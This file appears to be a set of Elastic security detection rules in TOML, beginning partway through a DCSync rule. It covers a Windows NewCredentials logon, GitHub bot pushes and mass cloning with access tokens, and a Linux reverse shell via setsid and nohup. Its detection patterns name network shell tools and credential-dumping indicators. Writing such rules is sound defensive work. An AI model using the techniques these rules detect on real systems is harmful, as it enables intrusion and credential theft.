    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "DS-Replication-Get-Changes-In-Filtered-Set", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "4662", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" },
    { excluded = false, field = "winlog.event_data.Properties", queryType = "phrase", value = "89e95b76-444d-4c62-991a-0facbeda640c", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.code", queryType = "phrase", value = "5136", valueType = "string" },
    { excluded = false, field = "winlog.event_data.SubjectUserSid", queryType = "phrase", value = "{{winlog.event_data.SubjectUserSid}}", valueType = "string" }
  ]
]
relativeFrom = "now-24h"
relativeTo = "now"

[rule.new_terms]
field = "new_terms_fields"
value = ["winlog.event_data.SubjectUserName"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-15d"

[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"
[[rule.threat.technique.subtechnique]]
id = "T1003.006"
name = "DCSync"
reference = "https://attack.mitre.org/techniques/T1003/006/"

[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.002"
name = "Domain Accounts"
reference = "https://attack.mitre.org/techniques/T1078/002/"

[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

[metadata]
creation_date = "2023/11/15"
integration = ["system", "windows"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
Identifies a new credentials logon type performed by an unusual process. This may indicate the existence of an access
token forging capability that are often abused to bypass access control restrictions.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-system.security*", "logs-windows.forwarded*"]
language = "kuery"
license = "Elastic License v2"
name = "First Time Seen NewCredentials Logon Process"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating First Time Seen NewCredentials Logon Process

The NewCredentials logon type in Windows allows processes to impersonate a user without requiring a new logon session, often used for legitimate tasks like network resource access. However, adversaries can exploit this by forging access tokens to escalate privileges and bypass controls. The detection rule identifies unusual processes performing this logon type, excluding known system paths and service accounts, to flag potential misuse indicative of token manipulation attacks.

### Possible investigation steps

- Review the process executable path to determine if it is a known or expected application, especially since the query excludes common system paths like Program Files.
- Investigate the SubjectUserName to identify the user account associated with the logon event and determine if it is a legitimate user or a potential compromised account.
- Check the historical activity of the identified process and user account to see if this behavior is consistent with past actions or if it is anomalous.
- Correlate the event with other security logs to identify any preceding or subsequent suspicious activities, such as failed logon attempts or unusual network connections.
- Assess the environment for any recent changes or incidents that might explain the unusual logon process, such as software updates or new application deployments.
- Consult threat intelligence sources to determine if the process or behavior is associated with known malicious activity or threat actors.

### False positive analysis

- Legitimate administrative tools or scripts may trigger this rule if they use the NewCredentials logon type for network resource access. To manage this, identify and whitelist these tools by their process executable paths.
- Scheduled tasks or automated processes running under service accounts might be flagged. Review these tasks and exclude them by adding exceptions for known service account names.
- Software updates or installations that require elevated privileges could cause false positives. Monitor these activities and create exceptions for the specific processes involved in regular update cycles.
- Custom in-house applications that use impersonation for legitimate purposes may be detected. Work with development teams to document these applications and exclude their process paths from the rule.

### Response and remediation

- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.
- Terminate any suspicious processes identified as using the NewCredentials logon type that are not part of known system paths or service accounts.
- Revoke any potentially compromised access tokens and reset credentials for affected user accounts to prevent further misuse.
- Conduct a thorough review of recent logon events and process executions on the affected system to identify any additional unauthorized activities or compromised accounts.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
- Implement enhanced monitoring for similar suspicious logon activities across the network to detect and respond to potential future attempts promptly.
- Review and update access control policies and token management practices to mitigate the risk of access token manipulation in the future."""
references = ["https://www.elastic.co/pt/blog/how-attackers-abuse-access-token-manipulation"]
risk_score = 47
rule_id = "e468f3f6-7c4c-45bb-846a-053738b3fe5d"
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Privilege Escalation",
    "Data Source: Windows Security Event Logs",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
event.category:"authentication" and host.os.type:"windows" and winlog.logon.type:"NewCredentials" and
    winlog.event_data.LogonProcessName:Advapi* and
    not winlog.event_data.SubjectUserName:*$ and
    not process.executable: (C\:\\Program*Files*\(x86\)\\*.exe or C\:\\Program*Files\\*.exe)
'''

setup = """## Setup

Audit Logon must be enabled to generate the events used by this rule.
Setup instructions: https://ela.st/audit-logon
"""


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1134"
name = "Access Token Manipulation"
reference = "https://attack.mitre.org/techniques/T1134/"
[[rule.threat.technique.subtechnique]]
id = "T1134.001"
name = "Token Impersonation/Theft"
reference = "https://attack.mitre.org/techniques/T1134/001/"



[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

[rule.new_terms]
field = "new_terms_fields"
value = ["process.executable"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"

[metadata]
creation_date = "2025/12/09"
integration = ["github"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may
indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents,
such as injecting backdoor workflow files.
"""
false_positives = [
    """
    Legitimate CI/CD automation that commits and pushes changes (e.g., auto-formatting, changelog updates, version
    bumps, Dependabot auto-merge) will trigger this alert on first use in a repository. Review the repository's
    workflow configurations to determine if bot pushes are expected.
    """,
]
from = "now-9m"
index = ["logs-github.audit-*"]
language = "kuery"
license = "Elastic License v2"
name = "GitHub Actions Unusual Bot Push to Repository"
note = """## Triage and analysis

### Investigating GitHub Actions Unusual Bot Push to Repository

This rule detects when the GitHub Actions bot pushes to a repository where it hasn't pushed to in a certain time interval. While this can be
legitimate automation, it may also indicate a supply chain attack where malicious code executes during CI and attempts
to modify repository contents.

### Possible investigation steps

- Review the `github.repo` field to identify the affected repository.
- Check recent workflow runs in the repository to identify which workflow triggered the push.
- Examine the repository's commit history to see what files were modified by the bot push.
- Look for newly added or modified files in `.github/workflows/` directory.
- Review the repository's dependencies for recently added or updated packages with preinstall/postinstall hooks.
- Check if the repository has legitimate automation that would explain bot pushes (Dependabot, Renovate, release automation).
- Correlate with `protected_branch.rejected_ref_update` events to see if workflow injection was blocked.
- Search for other repositories in the organization with similar suspicious activity.

### False positive analysis

- Repositories with auto-commit workflows (formatting, changelog generation, version bumps) will trigger on first run.
- Dependabot or Renovate auto-merge configurations cause legitimate bot pushes.
- GitHub Pages deployment workflows may push to gh-pages branches.
- Release automation that updates version files or generates artifacts.

### Response and remediation

- If the push is unexpected, immediately review the commit contents for malicious files.
- Check for suspicious workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`).
- Audit all dependencies in the affected repository for malicious packages.
- Rotate any secrets that may have been exposed during the workflow run.
- Enable branch protection rules to require PR reviews for all changes.
- Consider restricting GITHUB_TOKEN permissions in workflow files using `permissions:` key.
"""
references = [
    "https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack",
    "https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise",
]
risk_score = 21
rule_id = "03245b25-3849-4052-ab48-72de65a82c35"
severity = "low"
tags = [
    "Domain: Cloud",
    "Use Case: Threat Detection",
    "Tactic: Initial Access",
    "Tactic: Persistence",
    "Data Source: Github",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
data_stream.dataset: "github.audit" and
    event.action: "git.push" and
    user.name: "github-actions[bot]"
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1195"
name = "Supply Chain Compromise"
reference = "https://attack.mitre.org/techniques/T1195/"

[[rule.threat.technique.subtechnique]]
id = "T1195.002"
name = "Compromise Software Supply Chain"
reference = "https://attack.mitre.org/techniques/T1195/002/"

[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1565"
name = "Data Manipulation"
reference = "https://attack.mitre.org/techniques/T1565/"

[[rule.threat.technique.subtechnique]]
id = "T1565.001"
name = "Stored Data Manipulation"
reference = "https://attack.mitre.org/techniques/T1565/001/"

[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"
[rule.new_terms]
field = "new_terms_fields"
value = ["github.org_id", "github.repo"]

[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"

[metadata]
creation_date = "2023/10/11"
integration = ["github"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Detects a high number of unique private repo clone events originating from a single personal access token within a short
time period.
"""
from = "now-6m"
index = ["logs-github.audit-*"]
language = "kuery"
license = "Elastic License v2"
name = "High Number of Cloned GitHub Repos From PAT"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating High Number of Cloned GitHub Repos From PAT

Personal Access Tokens (PATs) facilitate automated access to GitHub repositories, enabling seamless integration and management. However, adversaries can exploit compromised PATs to clone numerous private repositories rapidly, potentially exfiltrating sensitive code. The detection rule identifies unusual cloning activity by monitoring for a surge in unique private repo clones from a single PAT, signaling potential misuse.

### Possible investigation steps

- Review the specific personal access token (PAT) involved in the alert to determine its owner and associated user account.
- Analyze the event logs for the PAT to identify the number and names of private repositories cloned, focusing on any unusual or unauthorized access patterns.
- Check the access history of the PAT to see if there are any other suspicious activities or anomalies, such as access from unfamiliar IP addresses or locations.
- Contact the owner of the PAT to verify if the cloning activity was authorized and to gather additional context about the usage of the token.
- Investigate the security posture of the affected repositories, including reviewing access permissions and recent changes to repository settings.
- Consider revoking the compromised PAT and issuing a new one if unauthorized access is confirmed, and ensure the user updates any systems or scripts using the old token.

### False positive analysis

- Legitimate automated processes or CI/CD pipelines may trigger multiple clone events. Review and whitelist known IP addresses or tokens associated with these processes to prevent false alerts.
- Developers working on multiple projects might clone several private repositories in a short period. Identify and exclude these users or their tokens from triggering alerts by maintaining a list of frequent cloners.
- Organizational scripts or tools that require cloning multiple repositories for updates or backups can cause false positives. Document these scripts and create exceptions for their associated tokens.
- Scheduled maintenance or migration activities involving repository cloning can be mistaken for suspicious activity. Coordinate with relevant teams to anticipate such events and temporarily adjust detection thresholds or exclude specific tokens.

### Response and remediation

- Immediately revoke the compromised Personal Access Token (PAT) to prevent further unauthorized access to private repositories.
- Notify the repository owners and relevant stakeholders about the potential breach to assess the impact and initiate internal incident response procedures.
- Conduct a thorough review of the cloned repositories to identify any sensitive or proprietary information that may have been exposed.
- Implement additional access controls, such as IP whitelisting or two-factor authentication, to enhance security for accessing private repositories.
- Monitor for any unusual activity or further unauthorized access attempts using other PATs or credentials.
- Escalate the incident to the security team for a comprehensive investigation and to determine if any other systems or data have been compromised.
- Update and enforce policies regarding the creation, usage, and management of PATs to prevent similar incidents in the future."""
risk_score = 21
rule_id = "fb0afac5-bbd6-49b0-b4f8-44e5381e1587"
severity = "low"
tags = [
    "Domain: Cloud",
    "Use Case: Threat Detection",
    "Use Case: UEBA",
    "Tactic: Execution",
    "Data Source: Github",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "threshold"

query = '''
data_stream.dataset:"github.audit" and event.category:"configuration" and event.action:"git.clone" and
github.programmatic_access_type:("OAuth access token" or "Fine-grained personal access token") and
github.repository_public:false
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1648"
name = "Serverless Execution"
reference = "https://attack.mitre.org/techniques/T1648/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1213"
name = "Data from Information Repositories"
reference = "https://attack.mitre.org/techniques/T1213/"

[[rule.threat.technique.subtechnique]]
id = "T1213.003"
name = "Code Repositories"
reference = "https://attack.mitre.org/techniques/T1213/003/"

[rule.threat.tactic]
id = "TA0009"
name = "Collection"
reference = "https://attack.mitre.org/tactics/TA0009/"
[rule.threshold]
field = ["github.hashed_token"]
value = 1
[[rule.threshold.cardinality]]
field = "github.repo"
value = 10

[rule]
description = """
Detects the sequence of a network event through a binary that is capable of spawning reverse connections, after which a
setsid/nohup process is spawned. Attackers may use these commands to establish persistence on a target system through a
reverse shell or to execute commands in the background.
"""
id = "3cce374b-c877-4419-8230-08f1a6b04da2"
license = "Elastic License v2"
name = "Linux Reverse Shell via setsid and nohup"
os_list = ["linux"]
reference = ["https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"]
version = "1.0.7"

query = '''
sequence by process.entity_id with maxspan=3s
  [network where event.type == "start" and event.action == "connection_attempted" and (
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "nc", "ncat", "netcat", "netcat.openbsd",
      "netcat.traditional", "nc.openbsd", "nc.traditional"
    ) or
    process.name like ("python*", "php*", "perl", "ruby*", "lua*")
  ) and not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
       destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
       "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
       "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
       "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
       "FF00::/8", "172.31.0.0/16"
      )
    )
  ]
  [process where event.type == "start" and event.action == "exec" and process.name in ("setsid", "nohup")]
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 1
tree = true

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
tree = true

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 1
tree = true

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"



[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"


[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "7.15.0"